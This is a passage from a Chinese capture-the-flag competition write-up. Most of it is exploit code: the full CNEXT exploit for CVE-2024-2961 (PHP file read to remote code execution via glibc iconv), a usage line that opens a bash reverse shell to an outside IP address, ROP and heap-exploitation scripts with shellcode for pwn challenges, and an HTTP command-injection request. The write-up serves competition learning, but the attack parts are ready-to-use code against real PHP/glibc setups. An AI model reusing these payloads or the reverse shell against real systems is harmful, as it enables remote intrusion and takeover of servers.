362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
#!/usr/bin/env python3
#
# CNEXT: PHP file-read to RCE (CVE-2024-2961)
# Date: 2024-05-27
# Author: Charles FOL @cfreal_ (LEXFO/AMBIONICS)
#
# TODO Parse LIBC to know if patched
#
# INFORMATIONS
#
# To use, implement the Remote class, which tells the exploit how to send the payload.
#
# REQUIREMENTS
#
# Requires ten: https://github.com/cfreal/ten
#

from __future__ import annotations

import base64
import zlib

from dataclasses import dataclass
from requests.exceptions import ConnectionError, ChunkedEncodingError

from pwn import *
from ten import *


HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")


class Remote:
"""A helper class to send the payload and download files.

The logic of the exploit is always the same, but the exploit needs to know how to
download files (/proc/self/maps and libc) and how to send the payload.

The code here serves as an example that attacks a page that looks like:

```php
<?php

$data = file_get_contents($_POST['file']);
echo "File contents: $data";
```

Tweak it to fit your target, and start the exploit.
"""

def __init__(self, url: str) -> None:
self.url = url
self.session = Session()

def send(self, path: str) -> Response:
"""Sends given `path` to the HTTP server. Returns the response.
"""
return self.session.post(self.url, data={"url": path})

def download(self, path: str) -> bytes:
"""Returns the contents of a remote file.
"""
# path = f"php://filter/convert.base64-encode/resource={path}"
path = f"file://localhost/{path}"
response = self.send(path)
# data = response.re.search(b"File contents: (.*)", flags=re.S).group(1)
# return base64.decode(data)
return response.content

@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep_time", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
"pad",
"Number of 0x100 chunks to pad with. If the website makes a lot of heap "
"operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
"""CNEXT exploit: RCE using a file read primitive in PHP."""

url: str
command: str
sleep: int = 1
heap: str = None
pad: int = 20

def __post_init__(self):
self.remote = Remote(self.url)
self.log = logger("EXPLOIT")
self.info = {}
self.heap = self.heap and int(self.heap, 16)

def check_vulnerable(self) -> None:
"""Checks whether the target is reachable and properly allows for the various
wrappers and filters that the exploit needs.
"""

def safe_download(path: str) -> bytes:
try:
return self.remote.download(path)
except ConnectionError:
failure("Target not [b]reachable[/] ?")


def check_token(text: str, path: str) -> bool:
result = safe_download(path)
return text.encode() == result

text = tf.random.string(50).encode()
base64 = b64(text, misalign=True).decode()
path = f"data:text/plain;base64,{base64}"

result = safe_download(path)

if text not in result:
msg_failure("Remote.download did not return the test string")
print("--------------------")
print(f"Expected test string: {text}")
print(f"Got: {result}")
print("--------------------")
failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")

msg_info("The [i]data://[/] wrapper works")

text = tf.random.string(50)
base64 = b64(text.encode(), misalign=True).decode()
path = f"php://filter//resource=data:text/plain;base64,{base64}"
if not check_token(text, path):
failure("The [i]php://filter/[/] wrapper does not work")

msg_info("The [i]php://filter/[/] wrapper works")

text = tf.random.string(50)
base64 = b64(compress(text.encode()), misalign=True).decode()
path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"

if not check_token(text, path):
failure("The [i]zlib[/] extension is not enabled")

msg_info("The [i]zlib[/] extension is enabled")

msg_success("Exploit preconditions are satisfied")

def get_file(self, path: str) -> bytes:
with msg_status(f"Downloading [i]{path}[/]..."):
return self.remote.download(path)

def get_regions(self) -> list[Region]:
"""Obtains the memory regions of the PHP process by querying /proc/self/maps."""
maps = self.get_file("/proc/self/maps")
maps = maps.decode()
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
)
regions = []
for region in table.split(maps, strip=True):
if match := PATTERN.match(region):
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = Region(start, stop, permissions, path)
regions.append(current)
else:
print(maps)
failure("Unable to parse memory mappings")

self.log.info(f"Got {len(regions)} memory regions")

return regions

def get_symbols_and_addresses(self) -> None:
"""Obtains useful symbols and addresses from the file read primitive."""
regions = self.get_regions()

LIBC_FILE = "/dev/shm/cnext-libc"

# PHP's heap

self.info["heap"] = self.heap or self.find_main_heap(regions)

# Libc

libc = self._get_region(regions, "libc-", "libc.so")

self.download_file(libc.path, LIBC_FILE)

self.info["libc"] = ELF(LIBC_FILE, checksec=False)
self.info["libc"].address = libc.start

def _get_region(self, regions: list[Region], *names: str) -> Region:
"""Returns the first region whose name matches one of the given names."""
for region in regions:
if any(name in region.path for name in names):
break
else:
failure("Unable to locate region")

return region

def download_file(self, remote_path: str, local_path: str) -> None:
"""Downloads `remote_path` to `local_path`"""
data = self.get_file(remote_path)
Path(local_path).write(data)

def find_main_heap(self, regions: list[Region]) -> Region:
# Any anonymous RW region with a size superior to the base heap size is a
# candidate. The heap is at the bottom of the region.
heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE-1) == 0
and region.path == ""
]

if not heaps:
failure("Unable to find PHP's main heap in memory")

first = heaps[0]

if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
else:
msg_info(f"Using [i]{hex(first)}[/] as heap")

return first

def run(self) -> None:
# self.check_vulnerable()
self.get_symbols_and_addresses()
self.exploit()

def build_exploit_path(self) -> str:
"""On each step of the exploit, a filter will process each chunk one after the
other. Processing generally involves making some kind of operation either
on the chunk or in a destination chunk of the same size. Each operation is
applied on every single chunk; you cannot make PHP apply iconv on the first 10
chunks and leave the rest in place. That's where the difficulties come from.

Keep in mind that we know the address of the main heap, and the libraries.
ASLR/PIE do not matter here.

The idea is to use the bug to make the freelist for chunks of size 0x100 point
lower. For instance, we have the following free list:

... -> 0x7fffAABBCC900 -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB00

By triggering the bug from chunk ..900, we get:

... -> 0x7fffAABBCCA00 -> 0x7fffAABBCCB48 -> ???

That's step 3.

Now, in order to control the free list, and make it point whereever we want,
we need to have previously put a pointer at address 0x7fffAABBCCB48. To do so,
we'd have to have allocated 0x7fffAABBCCB00 and set our pointer at offset 0x48.
That's step 2.

Now, if we were to perform step2 an then step3 without anything else, we'd have
a problem: after step2 has been processed, the free list goes bottom-up, like:

0x7fffAABBCCB00 -> 0x7fffAABBCCA00 -> 0x7fffAABBCC900

We need to go the other way around. That's why we have step 1: it just allocates
chunks. When they get freed, they reverse the free list. Now step2 allocates in
reverse order, and therefore after step2, chunks are in the correct order.

Another problem comes up.

To trigger the overflow in step3, we convert from UTF-8 to ISO-2022-CN-EXT.
Since step2 creates chunks that contain pointers and pointers are generally not
UTF-8, we cannot afford to have that conversion happen on the chunks of step2.
To avoid this, we put the chunks in step2 at the very end of the chain, and
prefix them with `0\n`. When dechunked (right before the iconv), they will
"disappear" from the chain, preserving them from the character set conversion
and saving us from an unwanted processing error that would stop the processing
chain.

After step3 we have a corrupted freelist with an arbitrary pointer into it. We
don't know the precise layout of the heap, but we know that at the top of the
heap resides a zend_mm_heap structure. We overwrite this structure in two ways.
Its free_slot[] array contains a pointer to each free list. By overwriting it,
we can make PHP allocate chunks whereever we want. In addition, its custom_heap
field contains pointers to hook functions for emalloc, efree, and erealloc
(similarly to malloc_hook, free_hook, etc. in the libc). We overwrite them and
then overwrite the use_custom_heap flag to make PHP use these function pointers
instead. We can now do our favorite CTF technique and get a call to
system(<chunk>).
We make sure that the "system" command kills the current process to avoid other
system() calls with random chunk data, leading to undefined behaviour.

The pad blocks just "pad" our allocations so that even if the heap of the
process is in a random state, we still get contiguous, in order chunks for our
exploit.

Therefore, the whole process described here CANNOT crash. Everything falls
perfectly in place, and nothing can get in the middle of our allocations.
"""

LIBC = self.info["libc"]
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

ADDR_HEAP = self.info["heap"]
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

CS = 0x100

# Pad needs to stay at size 0x100 at every step
pad_size = CS - 0x18
pad = b"\x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)

step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)

# Since these chunks contain non-UTF-8 chars, we cannot let it get converted to
# ISO-2022-CN-EXT. We add a `0\n` that makes the 4th and last dechunk "crash"

step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)

step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)

step3_size = CS

step3 = b"\x00" * step3_size
assert len(step3) == CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)

step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
assert len(step3_overflow) == CS
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)

step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)

# This chunk will eventually overwrite mm_heap->free_slot
# it is actually allocated 0x10 bytes BEFORE it, thus the two filler values
step4_pwn = ptr_bucket(
0x200000,
0,
# free_slot
0,
0,
ADDR_CUSTOM_HEAP, # 0x18
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
ADDR_HEAP, # 0x140
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)

step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
)

step4_use_custom_heap_size = 0x140

COMMAND = self.command
COMMAND = f"kill -9 $PPID; {COMMAND}"
if self.sleep:
COMMAND = f"sleep {self.sleep}; {COMMAND}"
COMMAND = COMMAND.encode() + b"\x00"

assert (
len(COMMAND) <= step4_use_custom_heap_size
), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * self.pad
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)

resource = compress(compress(pages))
resource = b64(resource)
resource = f"data:text/plain;base64,{resource.decode()}"

filters = [
# Create buckets
"zlib.inflate",
"zlib.inflate",

# Step 0: Setup heap
"dechunk",
"convert.iconv.latin1.latin1",

# Step 1: Reverse FL order
"dechunk",
"convert.iconv.latin1.latin1",

# Step 2: Put fake pointer and make FL order back to normal
"dechunk",
"convert.iconv.latin1.latin1",

# Step 3: Trigger overflow
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",

# Step 4: Allocate at arbitrary address and change zend_mm_heap
"convert.quoted-printable-decode",
"convert.iconv.latin1.latin1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"

return path

@inform("Triggering...")
def exploit(self) -> None:
path = self.build_exploit_path()
start = time.time()
path = f"http://localhsot/' union select '{path}'#"
try:
self.remote.send(path)
except (ConnectionError, ChunkedEncodingError):
pass

msg_print()

if not self.sleep:
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
elif start + self.sleep <= time.time():
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
else:
# Wrong heap, maybe? If the exploited suggested others, use them!
msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")

msg_print()


def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`.
"""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]


def b64(data: bytes, misalign=True) -> bytes:
payload = base64.encode(data)
if not misalign and payload.endswith("="):
raise ValueError(f"Misaligned: {data}")
return payload.encode()


def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)


def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode.
"""
return "".join(f"={x:02x}" for x in data).upper().encode()


def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)

return bucket


def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size `size`.
For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.
"""
# The caller does not care about the size: let's just add 8, which is more than
# enough
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"


@dataclass
class Region:
"""A memory region."""

start: int
stop: int
permissions: str
path: str

@property
def size(self) -> int:
return self.stop - self.start


Exploit()

用法与原来一样

python3 exp.py http://x.x.x.x:10034/url.php 'bash -c "bash -i>&/dev/tcp/47.99.77.52/8888 0>&1"'

[初赛] pwn

pstack

栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
pop_rdi=0x0000000000400773
leave=0x4006DB
ret=0x4006DC
read=0x4006C4
#p=process("./pwn")
#gdb.attach(p,f'bp {leave}')
p=remote("139.155.126.78","39592")
e=ELF("./pwn")
libc=ELF("./libc.so.6")
#libc=ELF("./libc")
fun_got=e.got['puts']
puts=e.plt['puts']
bss=e.bss(0x800)

payload=b'a'*0x30+p64(bss)+p64(read)
p.sendafter("rflow?\n",payload)
p.send(p64(bss+0x50)+p64(pop_rdi)+p64(fun_got)+p64(puts)+p64(read)+p64(0)+p64(bss-0x30)+p64(leave))
d=u64(p.readuntil(b'\n',drop=1).ljust(8,b'\x00'))
libc.address=d-libc.sym['puts']
system=libc.sym['system']
bin_sh=next(libc.search(b'/bin/sh\x00'))

payload=p64(bss)+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)+p64(read)+p64(bss+0x50-0x30)+p64(leave)
p.send(payload)
p.interactive()

TravelGraph

uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
from pwn import *
context.arch='amd64'
city=[b"guangzhou",b"nanning",b"changsha",b"nanchang",b"fuzhou"]
def add(tool,form,to,data=b'\n',far=999):
tools=[b'car',b'train',b'plane']

p.sendlineafter(b'distance.',b'1')
p.sendlineafter(b'plane?',tools[tool])
p.sendlineafter(b'where?',city[form])
p.sendlineafter(b'where?',city[to])
p.sendlineafter(b'far?',str(far).encode());
p.sendafter(b'Note:',data)
pass

def free(form,to):
p.sendlineafter(b'distance.',b'2')
p.sendlineafter(b'where?',city[form])
p.sendlineafter(b'where?',city[to])

def show(form,to):
p.sendlineafter(b'distance.',b'3')
p.sendlineafter(b'where?',city[form])
p.sendlineafter(b'where?',city[to])

def edit(form,to,ind,data,far=3000):
p.sendlineafter(b'distance.',b'4')
p.sendlineafter(b'where?',city[form])
p.sendlineafter(b'where?',city[to])
p.sendlineafter(b'change?',str(ind).encode())
p.sendlineafter(b'far?',str(far).encode());
p.sendafter(b'Note:',data)

def distan():
p.sendlineafter(b'distance.',b'5')
p.sendlineafter(b'travel',city[3])
#p=process('./pwn')
p=remote("139.155.126.78","39558")
libc=ELF("./libc.so.6")
#gdb.attach(p,'b _IO_obstack_xsputn\nc')
#context.log_level='debug'

add(0,0,1,far=999,data=b"1324") # 0
add(0,1,2,far=999,data=b"321") #1
add(0,2,3,far=999,data=b"132") #2
distan()
add(0,3,3) #3
add(0,3,3) #4
add(2,3,3) #5
add(2,4,4,b"adsf") #6
#pause()
free(3,3)
#pause()
#free(0,0)
add(1,4,2) #3
add(1,4,3) #4+0x10
add(0,4,1) #5+0x20
free(4,3)
show(0,0)
p.readuntil('Note:')
d=u64(p.readuntil(b'\n',drop=1).ljust(8,b'\x00'))
libc.address=d-0x21ace0
success(f"libc.address: 0x{libc.address:x}")
IO_list_all=libc.sym['_IO_list_all']
xxx=libc.address+0x21b660
success(f"IO_list_all: 0x{IO_list_all:x}")
add(1,4,3)
free(1,2)
free(4,3)
show(0,0)
p.readuntil('Note:')
chunk_1=u64(p.readuntil(b'\n',drop=1).ljust(8,b'\x00'))
success(f"chunk_1: 0x{chunk_1:x}")
add(0,1,2)
add(2,1,3)
show(0,0)
p.readuntil('Note:')
large_bin=u64(p.readuntil(b'\n',drop=1).ljust(8,b'\x00'))
success(f"large bin: 0x{large_bin:x}")
pause()
edit(0,0,0,p64(large_bin)*2+p64(IO_list_all-0x20)*2,far=0x531)
pause()

chunk_0=chunk_1-0x520
setcontext=libc.sym['setcontext']
mprotect=libc.sym['mprotect']
wfile_jump=libc.sym['_IO_wfile_jumps']
obstack_jump=libc.address+0x2173c0
shellcode=shellcraft.open("flag")+shellcraft.read(3,chunk_1,0x300)+shellcraft.write(1,chunk_1,0x300)
fake_io_add=chunk_0

obstack=fake_io_add
context=fake_io_add+0xe8
shelladd=context+0xe8

fake_io=flat({
0x20: [xxx,xxx,xxx],
0x60: [0,shelladd,0,0,0,0,0,setcontext,0,context,1],

0xd8: obstack_jump+0x20,
0xe0: fake_io_add+0x60,
},filler=b'\x00')

cont=flat({
0x68: obstack&(~0xfff), # rdi
0x70: 0x1000, # rsi
0x88: 7, # rdx
0xa0: fake_io_add+0x68, # rsp
0xa8: mprotect, # rcx->rip
0xe0: obstack
},filler=b'\x00')

payload=fake_io[0x20:]+cont+asm(shellcode)

free(0,1)
add(0,0,1,data=payload.ljust(0x400,b'\x00'))
free(0,1)
add(2,1,3)

#free(4,2)
#add(1,4,3,data=payload)

p.sendline('9')
p.interactive()

httpd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// 第一次 直接执行命令,将flag导入到/check/test.html中
GET /cat%20/flag%20%3e%63%68%65%63%6b%2f%74%65%73%74%2e%68%74%6d%6c HTTP/1.0
Host: 139.155.126.78
Content-Length: 7

123




//第二次
GET /check/test.html HTTP/1.0
Host: 139.155.126.78
Content-Length: 7

123




[决赛] 渗透测试

拓扑


2024年“羊城杯”粤港澳大湾区网络安全大赛 wp
https://www.dr0n.top/posts/da856207/
作者
dr0n
发布于
2024年8月28日
更新于
2024年9月18日
许可协议